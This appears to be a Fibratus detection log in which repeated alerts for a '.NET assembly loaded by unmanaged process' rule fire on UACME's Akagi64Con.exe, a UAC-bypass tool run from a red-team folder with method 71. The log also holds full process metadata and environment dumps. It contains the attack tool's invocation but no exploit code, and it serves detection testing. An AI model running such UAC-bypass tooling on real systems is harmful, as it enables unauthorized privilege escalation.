LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:18:00.2204801 +0100 CET + Params: base_address➜ 7ffb99f40000, checksum➜ 0, default_address➜ 7ffb99f40000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\TlbExp\8b2a3af269c610b844ba46cb104b151d\TlbExp.ni.exe, image_size➜ 118784, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.name: .NET assembly loaded by unmanaged process, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:27+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\TlbExp\8b2a3af269c610b844ba46cb104b151d\TlbExp.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1675109 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:18:00.2204801 +0100 CET + Params: base_address➜ 7ffb99f40000, checksum➜ 0, default_address➜ 7ffb99f40000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\TlbExp\8b2a3af269c610b844ba46cb104b151d\TlbExp.ni.exe, image_size➜ 118784, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.id: T1055, technique.name: Process Injection, rule.name: .NET assembly loaded by unmanaged process, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/ + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:27+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\TlbImp\4dfa1bb571c88820b6aca61c319b7b17\TlbImp.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1675122 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:18:00.2217782 +0100 CET + Params: base_address➜ 7ffb41e90000, checksum➜ 0, default_address➜ 7ffb41e90000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\TlbImp\4dfa1bb571c88820b6aca61c319b7b17\TlbImp.ni.exe, image_size➜ 864256, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.name: .NET assembly loaded by unmanaged process + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance 